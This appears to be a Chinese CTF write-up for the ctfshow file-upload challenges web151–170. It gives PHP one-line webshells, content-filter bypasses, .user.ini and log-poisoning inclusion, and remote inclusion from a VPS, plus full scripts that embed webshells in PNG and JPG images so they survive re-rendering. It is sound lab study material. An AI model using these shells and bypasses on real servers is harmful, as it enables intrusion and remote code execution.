目录

  • web151
  • web 152
  • web 153
  • web 154
  • web 155
  • web 156
  • web 157~159
  • web 160
  • web 161
  • web 162~163
  • web 164
  • web 165
  • web 166
  • web 167
  • web 168
  • web 169
  • web 170
  • 参考:

web151

上传提示,前端验证


上传.jpg文件然后抓包,改文件名为.php,加入一句话木马。

upload/1.php?1=system("cat /var/www/html/flag.php");

web 152

同上,但对Content-Type进行了过滤。

upload/1.php?1=system("cat /var/www/html/flag.php");

web 153

过滤了php,大小写改一下就行了,但这种没用,原因是无法解析为php

可以用.user.ini使得每个文件前包含我们的png,因为upload下有一个index.php,通过.user.ini来是每个文件PHP包含我们所指定的文件。
(前端验证要改一下)


upload/index.php?1=system("cat ../flag.php");

web 154

同上题目,但过滤了内容,内容不能有php

<?=eval($_GET[1]);?>
//<?=相当于<?php echo

web 155

同上

web 156

同上,但是内容过滤多了一项,对[]进行了过滤,可以用{}代替。

<?=eval($_GET{1});?>

web 157~159

这题又过滤了php,system,{},和分号
我们可以用``来绕过

<?=`tac /var/www/html/flag.p??`?>//``内可以运行命令

web 160

这题在上题的基础上过滤了反引号,我们还可以用日志包含。
操作同上,不过1.png中的内容为包含日志,还要把我们要传的一句话码传上去。


这边不直接写log是因为它过滤了log。
这边的路径名利用了php的字符串连接特性"/var/lo"."g/nginx/access.lo"."g"

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

然后到/upload/下写shell就行了

web 161

同上但是要加一个幻术头字节

?1=system("cat /var/www/html/flag.php|tee 2");
//得到flag.php里的内容后写入到文件2中,之后直接访问/upload/2就可以了

web 162~163

这题有三种解法
一种是session包含,还有一个是远程文件包含,还有一种是data伪协议,不过要把伪协议代码用取反表示
条件竞争

远程文件包含:
先传个.user.ini,
然后传个<?=include'http://带一句话马的vps/'?>
之后访问/upload/写shell

伪协议

web 164

这题据大佬说是php对图片进行二次渲染,那么我们只要对png格式的文件进行操作,使得它即使二次渲染后我们放里面的shell也存在。

下面的exp会生成一个,既不会影响大小尺寸,还带上了一句话shell。

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png');
?>

图片中的shell

<?=$_GET[0]($_POST[1]);?>

然后到图片所在路径,写shell

web 165

<?php$miniPayload = "<?=`tac f*`?>";  //这里改代码if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>

最好先上传一个图片经他的渲染后下载下来,在php它
运行这条命令

在把生成的图片传进去

web 166

只能传zip

我们写一句话木马

然后进入,抓包

web 167

这题用.htaccess
因为.user.ini要本目录下有php文件。

web 168

这题过滤了include,eval,system…如果文件中有这些直接返回null
可以直接在bp里改文件名为php然后写<?=\`ls\`?>

然后到/upload/

web 169

虽然它过滤了include,但我们还以用日志包含,用.user.ini
auto_prepend_file=“/var/log/nginx/access.log”,再在UA处写一句话马。
然后再上传个2.php文件就行了。

因为.user.ini中的auto_prepend_file会再所有的php文件中包含日志
进/upload/2.php写shell

web 170

同上
1=system(“ls /|tee 1”);
可以把查找到的内容写到其他文件下

参考:

https://blog.csdn.net/miuzzx/article/details/109537262

ctfshow 文件上传 web151~170相关推荐

  1. CTFSHOW文件上传篇

    151 绕过前端验证 方法1:直接关闭浏览器的js 方法2:上传.png(没错,只能是png,gif和jpg都不行)文件然后bp抓包后修改后缀,内容为一句话 直接访问upload/1.php然后 po ...

  2. CTFshow 文件上传 web167

    目录 思路 总结 思路 根据提示上传了包含shell的jpg文件,上传成功,点击下载文件,发现没有存在文件包含点,访问upload检查是否有可执行文件,提示没有权限,但是发现中间件是apache 可以 ...

  3. CTFshow 文件上传 web153

    目录 思路 总结 思路 先上传带shell的png文件,上传成功 把文件后缀改成php,上传失败,改成xxxxx上传成功,得知是黑名单过滤, 上传phtml后缀,可以成功上传,但是无法解析,可以试试上 ...

  4. ctfshow文件上传

    web151-前端绕过 提示前台校验不可靠,上传png图片,burp抓包修改为php 任意命令执行 这里关闭js的话点击上传图片就没有反应了. web152-后端绕过 一模一样的步骤,应该上一题前端判 ...

  5. CTFshow 文件上传 web166

    目录 思路 总结 思路 直接在bp发包一直失败,没什么思路,查看了一下网页源代码,提示上传zip 直接上传zip,显示下载文件,抓包发现url路径疑似文件包含点,返回的是一个html页面 在上传的zi ...

  6. CTFshow 文件上传 web162

    目录 思路 总结 思路 大致思路和上题类似,不过在上传.user.ini的时候发现.被过滤了,可以把包含的文件不带后缀来绕过 .user.ini GIF89aauto_prepend_file=png ...

  7. CTFshow 文件上传 web156

    目录 思路 总结 思路 这次发现把shell.php改成png上传的时候,提示文件类型不合规,可能对文件头进行检测,可以利用图片马来写入shell. https://github.com/hunter ...

  8. CTFshow 文件上传 web154

    目录 思路 总结 思路 上传一个包含shell的png文件,发现上传失败 清空文件内容,发现上传成功,可能过滤文件中的关键字,经过尝试,猜测文件对php进行过滤,可以用大小写来绕过 shell.png ...

  9. CTFshow 文件上传 web165

    目录 思路 总结 思路 上传jpg图片,返回包可以看出经过了二次渲染 试了很多次,群里的jpg哪来也没成功,放弃了 <?php$miniPayload = '<?php echo 123; ...

最新文章

  1. rrdtool的完整例子
  2. KafkaProducer初始化时,是否会拉取集群元数据?
  3. python列表的解析(转)
  4. C语言学习之编程序,用getchar函数读入两个字符给cl和c2,然后分别用putchar函数和printf函数输出这两个字符
  5. autohold有什么弊端吗_自动驻车AUTO HOLD有啥作用?怎样使用?
  6. 用mescroll实现无限上拉增加数据,下拉刷新数据 (学习笔记)
  7. ns2 java_【NS2】用eclipse调试NS2(转载)
  8. 饿了么商品排序怎么实现PHP,PHP实现桶排序算法
  9. 求内切圆半径的c语言编程,数学内切圆半径公式
  10. http://cdn.ac.nbutoj.com/Problem/view.xhtml?id=1184Elaine's Queue
  11. 索尼手机android怎么连,索尼WI-SP500耳机连接安卓手机蓝牙的方法讲解
  12. 微信手环1年多了,前主管终于出来聊了聊它是怎么诞生的
  13. 笔记:Linux系统调用在文件中的分布情况
  14. Android监听进入和退出第三方应用
  15. js笔试面试题(随意)
  16. 车联网的信息安全问题及安全威胁
  17. java中方法的基本使用
  18. pyqt-工具栏图标大小设置
  19. python开发mbus程序_程序不知道怎么调,那个MBUS
  20. Python上位机,监视串口,逐字符匹配字头

热门文章

  1. 程序员的一些忠告和反省
  2. 上半年薪资统计,数据岗中位数接近20K!
  3. [《伪笑》小个子小说集]2012年2月12日
  4. 智能相机(Smart Camera)
  5. div横向排列自动换行
  6. 跟我学CSE系列之1:CSE开发框架系统架构
  7. IDEA导入lib目录下的jar包
  8. JStree 绘制文件树(1)—— JsTree使用Demo以及自定义图标更换
  9. Supervised learning/ Unsupervised learning监督学习/无监督学习
  10. Python使用技巧(十一):图像处理skimage模块库的安装与使用